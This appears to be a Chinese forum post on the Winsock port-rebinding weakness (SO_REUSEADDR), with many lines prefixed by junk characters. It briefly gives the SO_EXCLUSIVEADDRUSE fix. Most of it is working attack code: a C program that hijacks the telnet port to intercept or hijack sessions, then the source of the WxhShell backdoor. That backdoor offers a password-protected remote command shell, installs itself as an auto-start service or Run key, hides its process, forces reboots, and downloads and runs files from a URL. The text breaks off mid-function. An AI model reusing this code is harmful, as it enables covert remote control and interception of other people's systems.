在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
fJiY~mQ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
bdS |n*nByL/ saddr.sin_family = AF_INET;
U*p;N,SjQ aEL^N0\d saddr.sin_addr.s_addr = htonl(INADDR_ANY);
z CS.P.$ e-Pn,j bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
<"GgqyRzv WQJnWe 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
?M<q95pL 3PLYC}Jq 这意味着什么?意味着可以进行如下的攻击:
PVC Fh$pnw q(Q$lRj/I- 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
?RP&XrD iE6?Px9] 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
uZ1b_e0SGu |c<h&p 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
bR\Oyd~e j
aU.hASj 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
rEoMj)~\4& bgk+PQ#S- 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
rpB0?h!$ X[e:fW[e) 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
y7X2|$9z- AGWs> 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
xWiR7~E fk6`DUBV #include
ZC99/NWN #include
{^z>uRZ3 #include
|E}-j;( #include
P]~apMi: DWORD WINAPI ClientThread(LPVOID lpParam);
`X8wnD int main()
/WxCsQn {
QC,LHt?6 WORD wVersionRequested;
M:5K4$>Kx DWORD ret;
}zO>y%eI WSADATA wsaData;
#CV;Np BOOL val;
\aY<| 7zK SOCKADDR_IN saddr;
}wIF$v?M SOCKADDR_IN scaddr;
d,5,OJY2f int err;
]B2%\}c SOCKET s;
k#oe:u`< SOCKET sc;
>WcOY7 int caddsize;
p.ks
jD HANDLE mt;
X-_ $jKfM DWORD tid;
Ue?mb$ykC. wVersionRequested = MAKEWORD( 2, 2 );
=$wQA err = WSAStartup( wVersionRequested, &wsaData );
K!<3|d if ( err != 0 ) {
83i;:cn printf("error!WSAStartup failed!\n");
Jv8JCu"eky return -1;
u6t%*'' }
l^cz&k=+ saddr.sin_family = AF_INET;
9OS~;9YR Hz>_tA"^T //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
"XB6k0.# o..iT:f;n saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
"n, %Hh saddr.sin_port = htons(23);
\z8j6 h if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
JeXA*U# {
yt4sg/]: printf("error!socket failed!\n");
0^25uAD= return -1;
*-vH64e }
,Qh9}I7;C val = TRUE;
.3
S9=d? //SO_REUSEADDR选项就是可以实现端口重绑定的
<9/?+) if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
4}r.g0L {
cHAq[Ebp2! printf("error!setsockopt failed!\n");
}~+q S` return -1;
M/abd 7q }
'3uN]-A>D //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
=j!nt8]8 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
\gW6E^ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
)4;$;a1 GQ8A}gwH if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
}v`Z.?|Z {
*km!<L7Y ret=GetLastError();
q&nEodv>+ printf("error!bind failed!\n");
Ywo=w:' return -1;
MFtC2* }
r @URs;O= listen(s,2);
PN"=P2e/ 6 while(1)
-%_v b6u {
KLpFW} caddsize = sizeof(scaddr);
-\[&<o@/D //接受连接请求
9zD,z+ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
,7n8_pU if(sc!=INVALID_SOCKET)
6sQY)F7p {
(Rs|"];?Z mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
vPSY1NC5 if(mt==NULL)
WX&0;Kr {
Ru~;awV? printf("Thread Creat Failed!\n");
ai]KH7 break;
3>#io^35 }
Jz@2?wSp }
,c&%/"i:w CloseHandle(mt);
O|mWQp^?q }
[+wLy3_ closesocket(s);
8=,?Bh". WSACleanup();
Ro.br:'Bw return 0;
U}<' [o
V }
5,#aN}v#? DWORD WINAPI ClientThread(LPVOID lpParam)
9zNMv- {
Z&6*8#wn SOCKET ss = (SOCKET)lpParam;
8FJPw"9 SOCKET sc;
vVFT0_ unsigned char buf[4096];
;XI=Y"h{% SOCKADDR_IN saddr;
c{{RP6o/j= long num;
[<JY[o= DWORD val;
fD#!0^ DWORD ret;
bqwn_=. //如果是隐藏端口应用的话,可以在此处加一些判断
^5Ob(FvU //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
4vMjVbr saddr.sin_family = AF_INET;
/_V4gwb}|- saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Is(ZVI saddr.sin_port = htons(23);
:+v4,=fHy if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
qpX`ZY^ {
jJK@i\bU_ printf("error!socket failed!\n");
gJJ BRn{MI return -1;
\Z^Tk }
RwoAZ]Zg] val = 100;
mc|8t0+1` if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<.U(%`| {
/&o<kY ret = GetLastError();
_m#P\f'p return -1;
?#|in} }
%&M*G@j if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
%TDY &@i= {
9)S,c=z83 ret = GetLastError();
$p\ 0/ return -1;
`C)|}qcC }
Og :aflS if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
r}|a*dh'R {
9D
@}(t! printf("error!socket connect failed!\n");
h9cx~/7,_) closesocket(sc);
)vD|VLV closesocket(ss);
W744hq@P% return -1;
?Vc/mO2X }
S20E}bS:> while(1)
wT&P].5n {
<xwaFZ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Ze3sc$fG2 //如果是嗅探内容的话,可以再此处进行内容分析和记录
BUU ) Sz //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
kp8kp`S7 num = recv(ss,buf,4096,0);
4=ZN4=(_[ if(num>0)
0:zDt~Ju send(sc,buf,num,0);
SV i{B* else if(num==0)
3
Bn9Ce= break;
uE&2M>2 num = recv(sc,buf,4096,0);
Ta)6ly7' if(num>0)
PHg(O:3WG send(ss,buf,num,0);
o(Q='kK else if(num==0)
*/ok]kX' break;
43/!pW }
AfJ .SNE closesocket(ss);
0Rz",Mu> closesocket(sc);
1V;m8)RF return 0 ;
Rqun}v} }
#QKgY7 C''[[sw'K Wq/0 }W. ==========================================================
r=ht:+m cE3V0voSw1 下边附上一个代码,,WXhSHELL
Y@'ahxF `E5vO1Pl ==========================================================
KZI-/H+ k^Uk=)9 #include "stdafx.h"
~.<}/GP] _ p&cJo<]=LE #include <stdio.h>
9I*i/fa #include <string.h>
!kWx'tJ$ #include <windows.h>
q Qc-;|8 #include <winsock2.h>
ez^b{s` #include <winsvc.h>
H
JjW #include <urlmon.h>
(!dwUB TuMD+^x #pragma comment (lib, "Ws2_32.lib")
c7/fQc)h4d #pragma comment (lib, "urlmon.lib")
'DCB 7T8 d<>jhp5el #define MAX_USER 100 // 最大客户端连接数
J7$JW3O #define BUF_SOCK 200 // sock buffer
ul ag$ge #define KEY_BUFF 255 // 输入 buffer
zHt}`>y& 1/vcj~|)t #define REBOOT 0 // 重启
e(EXQP2P> #define SHUTDOWN 1 // 关机
Jk=d5B nISfRXU; #define DEF_PORT 5000 // 监听端口
H^0`YQJ3 FW!1 0K? #define REG_LEN 16 // 注册表键长度
ARa9Ia{@ #define SVC_LEN 80 // NT服务名长度
5JA5:4aev
u9,ZY> // 从dll定义API
nuLxOd *n typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
uf}Q{@Ab typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
@P
xX]e typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Czt>?8x` typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
~0ZLaiJ 6)Dp2 // wxhshell配置信息
'/K-i.8F struct WSCFG {
Tz 2<# pLR int ws_port; // 监听端口
JnBg;D|)@ char ws_passstr[REG_LEN]; // 口令
2F fwct: int ws_autoins; // 安装标记, 1=yes 0=no
F ][QH\N char ws_regname[REG_LEN]; // 注册表键名
p/%B>Y> char ws_svcname[REG_LEN]; // 服务名
CsW*E,|xyP char ws_svcdisp[SVC_LEN]; // 服务显示名
H2D j`0 char ws_svcdesc[SVC_LEN]; // 服务描述信息
^g*2jH+ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
#e(P~'A0 int ws_downexe; // 下载执行标记, 1=yes 0=no
2_#Vw&v char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
ZHW|P char ws_filenam[SVC_LEN]; // 下载后保存的文件名
6$"0!fl> "\u_gk{g };
:Y>M//0 @qWes@ // default Wxhshell configuration
S!wY6z struct WSCFG wscfg={DEF_PORT,
*WX,bN6Ot "xuhuanlingzhe",
d&[.=M\E8 1,
Ex3V[v+D( "Wxhshell",
@&E{
L "Wxhshell",
}!0nb)kL "WxhShell Service",
"N4rh<< "Wrsky Windows CmdShell Service",
f3Cjj]RFv "Please Input Your Password: ",
UkV{4*E 1,
)4/227b/( "
http://www.wrsky.com/wxhshell.exe",
@Zd/>' "Wxhshell.exe"
ZsikI@? };
iv]*HE *C n `pfO // 消息定义模块
jM DG char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
wa}\bNKQk char *msg_ws_prompt="\n\r? for help\n\r#>";
om'DaG`A char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
2t7Hu)V char *msg_ws_ext="\n\rExit.";
"lJ[H=\ char *msg_ws_end="\n\rQuit.";
)./'`Mx? char *msg_ws_boot="\n\rReboot...";
v3{[rK} char *msg_ws_poff="\n\rShutdown...";
WQT;k0;T] char *msg_ws_down="\n\rSave to ";
_N&]w*ce m?=9j~F* char *msg_ws_err="\n\rErr!";
B)cVbjTn char *msg_ws_ok="\n\rOK!";
N#? Ohz $Q!J.}P@ char ExeFile[MAX_PATH];
/\&Wk;u3 int nUser = 0;
G>fJ)A HANDLE handles[MAX_USER];
yxU??#v|g int OsIsNt;
-U/m ".R5K ? SERVICE_STATUS serviceStatus;
#aV2+ `d SERVICE_STATUS_HANDLE hServiceStatusHandle;
s=xJcLA @hE$x-TP0 // 函数声明
[$b\#{shtP int Install(void);
U~e^ int Uninstall(void);
Z>#MTxU( int DownloadFile(char *sURL, SOCKET wsh);
O-ZB4hN8 int Boot(int flag);
|p1pa4%} void HideProc(void);
Ni4*V3VB int GetOsVer(void);
JZ int Wxhshell(SOCKET wsl);
*l-(tp5 void TalkWithClient(void *cs);
)FfJ%oT} int CmdShell(SOCKET sock);
NhDM h8=$^ int StartFromService(void);
l*Iy:j(B int StartWxhshell(LPSTR lpCmdLine);
w/(hEF ' z<rYh96uA VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
^YLpZoo VOID WINAPI NTServiceHandler( DWORD fdwControl );
0$9I.%4jAJ _(<D*V[ // 数据结构和表定义
"?~u*5 SERVICE_TABLE_ENTRY DispatchTable[] =
K{)YnY_E; {
3g#fX{e_5! {wscfg.ws_svcname, NTServiceMain},
?/,sKF74i {NULL, NULL}
\dL#PI3 };
2-3|0<` +'NiuN // 自我安装
+AT!IZrB2i int Install(void)
S}rW=hO {
!PfI e94{` char svExeFile[MAX_PATH];
I=,u7w`m HKEY key;
&@dWd strcpy(svExeFile,ExeFile);
DfCo= #z\{BtK // 如果是win9x系统,修改注册表设为自启动
3ee?B~Tun if(!OsIsNt) {
I+Q`i:\,q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
(]yOd/ru/C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
`2Buf8|a, RegCloseKey(key);
I<I?ks if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
dpBG)Xzoyv RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
o.}?K>5 RegCloseKey(key);
pEjA*6v|, return 0;
?`hk0q X3 }
A|BvRZd }
&S.zc@rN }
$h Isab_ else {
Q-[^!RAK? U+!H/R)( // 如果是NT以上系统,安装为系统服务
] Qp0|45= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
9's/~T if (schSCManager!=0)
KB,!s7A {
[`^x;*C SC_HANDLE schService = CreateService
7/;Xt& (
`'u|4pRFs schSCManager,
"jVMk wscfg.ws_svcname,
T
x_n$ & wscfg.ws_svcdisp,
P]Z}%
8^O SERVICE_ALL_ACCESS,
<dTo-P SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Te"<.0~1 SERVICE_AUTO_START,
>9f-zv(n SERVICE_ERROR_NORMAL,
;6o p| svExeFile,
c7jft|4S NULL,
Z\E 3i NULL,
?o h3t NULL,
ChLU(IPo6 NULL,
&Jj^)GBU NULL
=>6Z"LD( );
n>X if (schService!=0)
_4z>I/R>Z {
g]C+uj^ CloseServiceHandle(schService);
GA6)O-^G CloseServiceHandle(schSCManager);
yZ aQ{]" strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
x3L3K/qMg strcat(svExeFile,wscfg.ws_svcname);
%ma1LN[ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
SvH=P!`+ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
@ :i>q$aF RegCloseKey(key);
J=/|iW return 0;
j0sR]i }
+fzZ\ }
u>(s.4]+ CloseServiceHandle(schSCManager);
P%smX`v }
C,Je >G }
Nuk\8C &^thKXEC return 1;
]?U:8% }
J$PE7*NU p/WEQ2 // 自我卸载
@4_CR int Uninstall(void)
9dw02bY` {
||7r'Q
HKEY key;
Zx<s-J4o=w Y3[< if(!OsIsNt) {
;W#G<M&n' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
x>5#@SX
J RegDeleteValue(key,wscfg.ws_regname);
Hux#v>e RegCloseKey(key);
8T
6jM+ h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
3}$L4U RegDeleteValue(key,wscfg.ws_regname);
#hzs,tvvD RegCloseKey(key);
XH)MBr@Fz return 0;
iD@2_m) }
SsafRK$ }
<acAc2 }
Vm&fw".J else {
@ky5XV }mz4 3Sq< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
xYRL4 if (schSCManager!=0)
LL-MZ~ZB {
\J0gzi. SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
a +*|P if (schService!=0)
4MRHz{`wa {
CN:
36 if(DeleteService(schService)!=0) {
<s-_ieW' CloseServiceHandle(schService);
?
Z8_(e0U CloseServiceHandle(schSCManager);
@8@cpm return 0;
>'Nrvy%&0 }
4|Jy] CloseServiceHandle(schService);
+S|y)W8 }
HI']{2p2}t CloseServiceHandle(schSCManager);
(a`z:dz} }
k`.-PU }
fYx$3a. m+DkO{8F return 1;
2c!?!:s }
W32mAz; [F+lVb // 从指定url下载文件
Wuye:b! int DownloadFile(char *sURL, SOCKET wsh)
/5suyM=U {
mRfF) HRESULT hr;
rtf>\j+ char seps[]= "/";
`EU=u_N char *token;
WABq6q! char *file;
RhbYDsG char myURL[MAX_PATH];
|)pT"` char myFILE[MAX_PATH];
H*yX
Iq: F:IG3 @ strcpy(myURL,sURL);
HnioB=fc token=strtok(myURL,seps);
O|%><I?I while(token!=NULL)
~b8U#'KD {
}RDhI1x[mk file=token;
6P? token=strtok(NULL,seps);
Tp[ub(/;7 }
Y4!v1 QS_"fsyN: GetCurrentDirectory(MAX_PATH,myFILE);
bbiDY strcat(myFILE, "\\");
^7TM.lE strcat(myFILE, file);
y| @[?B send(wsh,myFILE,strlen(myFILE),0);
E+>Qpy send(wsh,"...",3,0);
z{``v|K hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
6!Ji-'\" if(hr==S_OK)
hRxR2
return 0;
)"A+T& else
C#>c(-p>RC return 1;
zWB>;Z} tQz-tQg }
N$>g)Ml? }I,]"0b // 系统电源模块
k=w%oqpN int Boot(int flag)
uQ9P6w=Nt {
|CY.Y, HANDLE hToken;
h3>/..l TOKEN_PRIVILEGES tkp;
lkFv5^% 5cgDHs if(OsIsNt) {
%{&yXi:mS OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
id&; LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
hM/|k0YV tkp.PrivilegeCount = 1;
J03yFT,dF tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
yXR$MT+ ~ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
^C_Y[i
~| if(flag==REBOOT) {
[=7|LHjU if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
#s)6u?N return 0;
kVy%y"/ }
@aY 8VL7C0 else {
& 2>W=h if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
+<|6y46 return 0;
hqD]^P>l1 }
C{-e(G`Yd }
B Lw ssr. else {
[[Qu|?KEa if(flag==REBOOT) {
=d.Z:L9d if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
{ >bw:^F return 0;
FJp~8
x= }
d*3k]Ie%5f else {
x<~ pqq8] if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
j2=jD G return 0;
b,]h X }
^4_. 5~( }
j1Q G-Rs& AnP7KSN[\ return 1;
xuv%mjQ }
N'i%9SBcg a 5:YP // win9x进程隐藏模块
o[O-|XL_ void HideProc(void)
F%+/j5~^ {
$cSrT)u: #
0dN!l; HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
k3}|^/bHJ if ( hKernel != NULL )
L#M9 ! {
r|{h7' pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
(@pE ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
#K"jtAm FreeLibrary(hKernel);
!WR(H&uBr\ }
0.~QA+BD:S nQa5e_q!u return;
O3j:Y|N@F }
gieTkZ ,<d[5;7x // 获取操作系统版本
q+>{@tP9 int GetOsVer(void)
m5v9:5{ {
XWf8ZZj OSVERSIONINFO winfo;
B<I%:SkF@ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
9.!6wd4mw GetVersionEx(&winfo);
O1ofN#u if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
%kxq" =3 return 1;
Wr a W else
C;1A$]bk return 0;
e>#*$4tg }
mawomna 2+s_*zM- // 客户端句柄模块
)~rfx int Wxhshell(SOCKET wsl)
|ITp$_S {
sbjAZzrX2i SOCKET wsh;
(vB aem9 struct sockaddr_in client;
q?nXhUD DWORD myID;
o
)G'._ kn^RS1m while(nUser<MAX_USER)
+%OINMo.A {
_[<R<&jG int nSize=sizeof(client);
^&03D5@LoY wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
E3X:{h/ if(wsh==INVALID_SOCKET) return 1;
'nz;|6uC j\B]>PP5 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
osoreo;V^ if(handles[nUser]==0)
d(3F:dbk closesocket(wsh);
`TYQ^Zm else
w4Qqo( nUser++;
[2pp)wq }
6iVjAxR WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
'_lyoVP zH0%;
o} return 0;
[ >O4hifq }
9z$]hl W2D^%;mw // 关闭 socket
GpMKOjVm| void CloseIt(SOCKET wsh)
`MAee8u' {
J*o :RnB closesocket(wsh);
IL 'i7p nUser--;
y>Zvos e ExitThread(0);
e6z;;C@'G }
lM86 *g 'l K_{f6c< // 客户端请求句柄
4v_?i@,L void TalkWithClient(void *cs)
m2E$[g {
o@>{kzCx 9f+|m9~2 SOCKET wsh=(SOCKET)cs;
w<3}(1 char pwd[SVC_LEN];
ZM K"3c9 char cmd[KEY_BUFF];
^1s!OT Is char chr[1];
)G\23P int i,j;
K{.s{;# 7F5t& while (nUser < MAX_USER) {
bW(+Aw=O ,d(F|5M: if(wscfg.ws_passstr) {
8/,m8UOY if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
uSLO"\zysX //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
}`8g0DPuD9 //ZeroMemory(pwd,KEY_BUFF);
h!5^d!2, i=0;
~=h]r/b< U while(i<SVC_LEN) {
%jdV8D#Q >ygyPl
;1s // 设置超时
a*REx_gLG fd_set FdRead;
]W7(}~m struct timeval TimeOut;
J~eY,n.6] FD_ZERO(&FdRead);
Y]/(R"-2G FD_SET(wsh,&FdRead);
v_)a=I%o&2 TimeOut.tv_sec=8;
IMIZ#/ TimeOut.tv_usec=0;
+-&N<U int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
F' s($n if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
f{xR
s-u] EAn}8#r'(8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
>y m MQEX` pwd
=chr[0]; nF~</>
if(chr[0]==0xd || chr[0]==0xa) { ,Xs%Cg_Ig
pwd=0; vo)pT
break; 4!p~Mr[E
} 7Fw`s@/%
i++; u*B.<GmN
} 3G9"La,b
|7,|-s[R^
// 如果是非法用户,关闭 socket no- Lx-x
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,mEFp_a+
} %;yDiQ !+
34-QgE
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >8_#L2@
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _I8L#4\(=
W7>4-gk
while(1) { sP$bp Z}
W.iL!x.B@
ZeroMemory(cmd,KEY_BUFF); R#i|n<x
0@d )DLM?
// 自动支持客户端 telnet标准 xx0s`5
j=0; DnvJx!#R
while(j<KEY_BUFF) { DE|r~TQ
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aDFu!PLB{)
cmd[j]=chr[0]; 3t22KY[`
if(chr[0]==0xa || chr[0]==0xd) { |7n&I`#
cmd[j]=0; u.*@lGVW
break; :#0uy1h
} u
+q}9
j++; 8:;_MBt
} "'h?O*V]u{
;<`F[V
Zau
// 下载文件 mE(EyB<
if(strstr(cmd,"http://")) { Y$b4Ga9j
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Zs<}{`-
if(DownloadFile(cmd,wsh)) Bzn{~&i?W:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); LWHP31{R
else 5%"${ywI
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?z% @;&
} s|Ls
else { @iK=1\-2
0h-holUf}~
switch(cmd[0]) { biG=4?Xl
%^[45e
// 帮助 S>OfUrt
case '?': { 0Ge*\Q
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8*kZ.-T
B
break; !|_b}/
} .NcoST9a
// 安装 r7Bv?M^!
case 'i': { 9;2PoW8
if(Install()) vl*CU"4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); VvN52
qeL
else <$wh@$PK
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _=E))Kp{z
break; (oX|lPD<b
} fx %Y(W#5
// 卸载 gS4zX>rqe
case 'r': { A`<#}~A
if(Uninstall()) PxzeN6f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (RG\U[
else 95Bw;U3E
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1}#v<b$
break; 26JP<&%L
} 3xef>Xv=
// 显示 wxhshell 所在路径 *k==2figz
case 'p': { g]85[xz
char svExeFile[MAX_PATH]; )hmU/E@
strcpy(svExeFile,"\n\r"); Mf7Q+_!
strcat(svExeFile,ExeFile); ;Q&38qI
send(wsh,svExeFile,strlen(svExeFile),0); <GPL8D
break; =BQM(mal
} (A O]f fBU
// 重启 ,/6V ^K
case 'b': { /Y5I0Ko Uw
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,{:c<W:A]
if(Boot(REBOOT)) H
.)}|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); EQ`;=I3J9y
else { kf\n
closesocket(wsh); wVkms
ExitThread(0); +Q_(wR"FS
} =Xze ).g
break; 44FK%TmtF
} ! utgo/n
// 关机 H|;6K`O_
case 'd': { L;/#D>U(
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %F-/|x1#Q
if(Boot(SHUTDOWN)) TEz)d=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *6 -;iT8
else { 6la# 0U23
closesocket(wsh); ?xh_qy;
ExitThread(0); ,6Sa
} ^;+lsEW
break; B%gk[!d}8
} ='u'/g$'&
// 获取shell ha
case 's': { Je_Hj9#M\d
CmdShell(wsh); !3U1HS-i62
closesocket(wsh); 9XWF&6w6yf
ExitThread(0); h
Vz%{R"
break; #<f}.P.Uc
} `q* 0^}
// 退出 c\FyX\i
case 'x': { N[X%tf\L]F
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6i[\?7O'0
CloseIt(wsh); u^a\02aV[
break; >"?HbR9
} q# gZ\V$I
// 离开 hu~02v5
case 'q': { }u
cqzdk#2
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7Z5,(dH>
closesocket(wsh); 'D%No!+Py
WSACleanup(); YS=|y}Q|7d
exit(1); g!~&PT)*
break; 2!>phE
} .vNfbYH(
} heoOOP(#
} }hyK/QUCoN
'KpCPOhfR
// 提示信息 z:9
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }Bw=2 ~
} d=WC1"
} G?\o_)IJ
$>v^%E;Y4
return; -aG( Yx
} seY0"ym&e
WIO V
// shell模块句柄 Iu|G*~\
int CmdShell(SOCKET sock) X0b :Oiw
{ qTC`[l
STARTUPINFO si; *{W5QEa
ZeroMemory(&si,sizeof(si)); O/_}O_rR
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a$#,'UB
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ( f8g}2
PROCESS_INFORMATION ProcessInfo; efMv1>{
char cmdline[]="cmd"; COv#dOw
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #[sC H
return 0; O8SX#,3^}
} 5{#9b^
iJ42` 51
// 自身启动模式 _jH1Mcq
int StartFromService(void) ,8o]XFOr
{ meR%);\
typedef struct d|on
y
{ n$y1k D
DWORD ExitStatus; L"zOa90ig
DWORD PebBaseAddress; aO
"JT
